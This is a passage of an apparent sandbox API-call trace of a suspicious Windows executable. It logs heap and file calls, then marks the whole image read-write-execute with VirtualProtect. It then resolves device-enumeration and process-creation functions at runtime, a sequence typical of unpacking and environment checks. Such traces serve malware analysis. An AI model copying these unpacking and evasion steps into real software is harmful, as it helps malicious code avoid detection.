lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.052] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x14) returned 0x2eed70 [0029.052] GetLastError () returned 0x6 [0029.052] CreateFontIndirectA (lplf=0x186ef0) returned 0x3a0a06da [0029.053] SelectObject (hdc=0x0, h=0x3a0a06da) returned 0x0 [0029.053] SetTextColor (hdc=0x0, color=0x0) returned 0xffffffff [0029.053] TextOutA (hdc=0x0, x=-2147483648, y=0, lpString="", c=0) returned 1 [0029.053] SelectObject (hdc=0x0, h=0x0) returned 0x0 [0029.053] DeleteObject (ho=0x3a0a06da) returned 1 [0029.053] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x2c) returned 0x2ec560 [0029.053] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x28) returned 0x2ebf28 [0029.053] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x4) returned 0x2f0bd8 [0029.053] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x4) returned 0x2f0c08 [0029.053] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0029.053] AreFileApisANSI () returned 1 [0029.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18faec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0029.053] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x6c) returned 0x2f1590 [0029.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18faec, cbMultiByte=-1, lpWideCharStr=0x2f1590, cchWideChar=54 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe") returned 54 [0029.054] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe" (normalized: "c:\\users\\aetadzjz\\desktop\\sgm_20190527_desfuhohdt.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f374, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xec [0029.054] GetFileType (hFile=0xec) returned 0x1 [0029.054] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f1590 | out: hHeap=0x2d0000) returned 1 [0029.054] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x8) returned 0x2f0c18 [0029.054] GetLastError () returned 0x0 [0029.054] AuthzInitializeResourceManager (in: Flags=0x1, pfnDynamicAccessCheck=0x0, pfnComputeDynamicGroups=0x0, pfnFreeDynamicGroups=0x0, szResourceManagerName=0x0, phAuthzResourceManager=0x18f558 | out: phAuthzResourceManager=0x18f558) returned 1 [0029.054] AuthzFreeResourceManager (hAuthzResourceManager=0x2ec598) returned 1 [0029.055] EnumTimeFormatsA (lpTimeFmtEnumProc=0x1d0000, Locale=0x400, dwFlags=0x0) [0029.138] GetModuleHandleA (lpModuleName="ntdll") returned 0x77340000 [0029.139] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0029.847] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.847] VirtualProtect (in: lpAddress=0x401000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.847] VirtualProtect (in: lpAddress=0x402000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.847] VirtualProtect (in: lpAddress=0x403000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.847] VirtualProtect (in: lpAddress=0x404000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.848] VirtualProtect (in: lpAddress=0x405000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.848] VirtualProtect (in: lpAddress=0x406000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.848] VirtualProtect (in: lpAddress=0x407000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.848] VirtualProtect (in: lpAddress=0x408000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.848] VirtualProtect (in: lpAddress=0x409000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.848] VirtualProtect (in: lpAddress=0x40a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.849] VirtualProtect (in: lpAddress=0x40b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.849] VirtualProtect (in: lpAddress=0x40c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.849] VirtualProtect (in: lpAddress=0x40d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.849] VirtualProtect (in: lpAddress=0x40e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.849] VirtualProtect (in: lpAddress=0x40f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.849] VirtualProtect (in: lpAddress=0x410000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.850] VirtualProtect (in: lpAddress=0x411000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.850] VirtualProtect (in: lpAddress=0x412000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.850] VirtualProtect (in: lpAddress=0x413000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.850] VirtualProtect (in: lpAddress=0x414000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.850] VirtualProtect (in: lpAddress=0x415000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.850] VirtualProtect (in: lpAddress=0x416000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.850] VirtualProtect (in: lpAddress=0x417000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.851] VirtualProtect (in: lpAddress=0x418000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.851] VirtualProtect (in: lpAddress=0x419000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.851] VirtualProtect (in: lpAddress=0x41a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.851] VirtualProtect (in: lpAddress=0x41b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.851] VirtualProtect (in: lpAddress=0x41c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.851] VirtualProtect (in: lpAddress=0x41d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.852] VirtualProtect (in: lpAddress=0x41e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.852] VirtualProtect (in: lpAddress=0x41f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.852] VirtualProtect (in: lpAddress=0x420000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.852] VirtualProtect (in: lpAddress=0x421000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.852] VirtualProtect (in: lpAddress=0x422000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.852] VirtualProtect (in: lpAddress=0x423000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.852] VirtualProtect (in: lpAddress=0x424000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.853] VirtualProtect (in: lpAddress=0x425000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.853] VirtualProtect (in: lpAddress=0x426000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.853] VirtualProtect (in: lpAddress=0x427000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.853] VirtualProtect (in: lpAddress=0x428000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.853] VirtualProtect (in: lpAddress=0x429000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.853] VirtualProtect (in: lpAddress=0x42a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.854] VirtualProtect (in: lpAddress=0x42b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.854] VirtualProtect (in: lpAddress=0x42c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.854] VirtualProtect (in: lpAddress=0x42d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.854] VirtualProtect (in: lpAddress=0x42e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.854] VirtualProtect (in: lpAddress=0x42f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.854] VirtualProtect (in: lpAddress=0x430000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.855] VirtualProtect (in: lpAddress=0x431000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.855] VirtualProtect (in: lpAddress=0x432000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.855] VirtualProtect (in: lpAddress=0x433000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.855] VirtualProtect (in: lpAddress=0x434000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.855] VirtualProtect (in: lpAddress=0x435000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.855] VirtualProtect (in: lpAddress=0x436000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.855] VirtualProtect (in: lpAddress=0x437000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.856] VirtualProtect (in: lpAddress=0x438000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.856] VirtualProtect (in: lpAddress=0x439000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.856] VirtualProtect (in: lpAddress=0x43a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.856] VirtualProtect (in: lpAddress=0x43b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.856] VirtualProtect (in: lpAddress=0x43c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.856] VirtualProtect (in: lpAddress=0x43d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.857] VirtualProtect (in: lpAddress=0x43e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.857] VirtualProtect (in: lpAddress=0x43f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.857] VirtualProtect (in: lpAddress=0x440000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.857] VirtualProtect (in: lpAddress=0x441000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.857] VirtualProtect (in: lpAddress=0x442000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.857] VirtualProtect (in: lpAddress=0x443000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.857] VirtualProtect (in: lpAddress=0x444000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.858] VirtualProtect (in: lpAddress=0x445000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.858] VirtualProtect (in: lpAddress=0x446000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.858] VirtualProtect (in: lpAddress=0x447000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.858] VirtualProtect (in: lpAddress=0x448000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.858] VirtualProtect (in: lpAddress=0x449000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.858] VirtualProtect (in: lpAddress=0x44a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.859] VirtualProtect (in: lpAddress=0x44b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.859] VirtualProtect (in: lpAddress=0x44c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x20) returned 1 [0029.859] VirtualProtect (in: lpAddress=0x44d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.859] VirtualProtect (in: lpAddress=0x44e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.859] VirtualProtect (in: lpAddress=0x44f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.859] VirtualProtect (in: lpAddress=0x450000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.860] VirtualProtect (in: lpAddress=0x451000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.860] VirtualProtect (in: lpAddress=0x452000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.860] VirtualProtect (in: lpAddress=0x453000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.860] VirtualProtect (in: lpAddress=0x454000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.860] VirtualProtect (in: lpAddress=0x455000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.861] VirtualProtect (in: lpAddress=0x456000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.861] VirtualProtect (in: lpAddress=0x457000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.861] VirtualProtect (in: lpAddress=0x458000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.861] VirtualProtect (in: lpAddress=0x459000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.861] VirtualProtect (in: lpAddress=0x45a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.861] VirtualProtect (in: lpAddress=0x45b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.861] VirtualProtect (in: lpAddress=0x45c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.862] VirtualProtect (in: lpAddress=0x45d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.862] VirtualProtect (in: lpAddress=0x45e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.862] VirtualProtect (in: lpAddress=0x45f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.862] VirtualProtect (in: lpAddress=0x460000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.862] VirtualProtect (in: lpAddress=0x461000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.862] VirtualProtect (in: lpAddress=0x462000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.863] VirtualProtect (in: lpAddress=0x463000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.863] VirtualProtect (in: lpAddress=0x464000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.863] VirtualProtect (in: lpAddress=0x465000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.863] VirtualProtect (in: lpAddress=0x466000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.863] VirtualProtect (in: lpAddress=0x467000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.863] VirtualProtect (in: lpAddress=0x468000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.863] VirtualProtect (in: lpAddress=0x469000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x4) returned 1 [0029.864] VirtualProtect (in: lpAddress=0x46a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x4) returned 1 [0029.864] VirtualProtect (in: lpAddress=0x46b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x4) returned 1 [0029.864] VirtualProtect (in: lpAddress=0x46c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x4) returned 1 [0029.864] VirtualProtect (in: lpAddress=0x46d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x8) returned 1 [0029.864] VirtualProtect (in: lpAddress=0x46e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.864] VirtualProtect (in: lpAddress=0x46f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.865] VirtualProtect (in: lpAddress=0x470000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.865] VirtualProtect (in: lpAddress=0x471000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18eea4 | out: lpflOldProtect=0x18eea4*=0x2) returned 1 [0029.918] LoadLibraryA (lpLibFileName="SETUPAPI.dll") returned 0x75500000 [0029.931] GetProcAddress (hModule=0x75500000, lpProcName="SetupDiEnumDeviceInfo") returned 0x7550a7c4 [0029.931] GetProcAddress (hModule=0x75500000, lpProcName="SetupDiDestroyDeviceInfoList") returned 0x7550ae7d [0029.932] GetProcAddress (hModule=0x75500000, lpProcName="SetupDiGetClassDevsA") returned 0x7550b74b [0029.932] GetProcAddress (hModule=0x75500000, lpProcName="SetupDiGetDeviceRegistryPropertyA") returned 0x75567c71 [0029.932] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769e0000 [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="GetComputerNameA") returned 0x76a0b6e0 [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="lstrcatA") returned 0x76a12b7a [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="lstrlenA") returned 0x769f5a4b [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="GetTempPathA") returned 0x76a1276c [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="Sleep") returned 0x769f10ff [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="HeapFree") returned 0x769f14c9 [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="HeapDestroy") returned 0x769f35b7 [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="HeapCreate") returned 0x769f4a2d [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="ExitProcess") returned 0x769f7a10 [0029.932] GetProcAddress (hModule=0x769e0000, lpProcName="GetModuleHandleA") returned 0x769f1245 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="GetCommandLineW") returned 0x769f5223 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="CloseHandle") returned 0x769f1410 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="SetLastError") returned 0x769f11a9 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="FindResourceW") returned 0x769f5971 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="SwitchToThread") returned 0x76a0efec [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="HeapAlloc") returned 0x7736e026 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="CreateProcessA") returned 0x769f1072 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="GetTickCount") returned 0x769f110c [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="GetCurrentProcessId") returned 0x769f11f8 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="ExpandEnvironmentStringsA") returned 0x76a0eb39 [0029.933] GetProcAddress (hModule=0x769e0000, lpProcName="GetVersion") returned 0x769f4467 [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="GetLastError") returned 0x769f11c0 [0029.934] 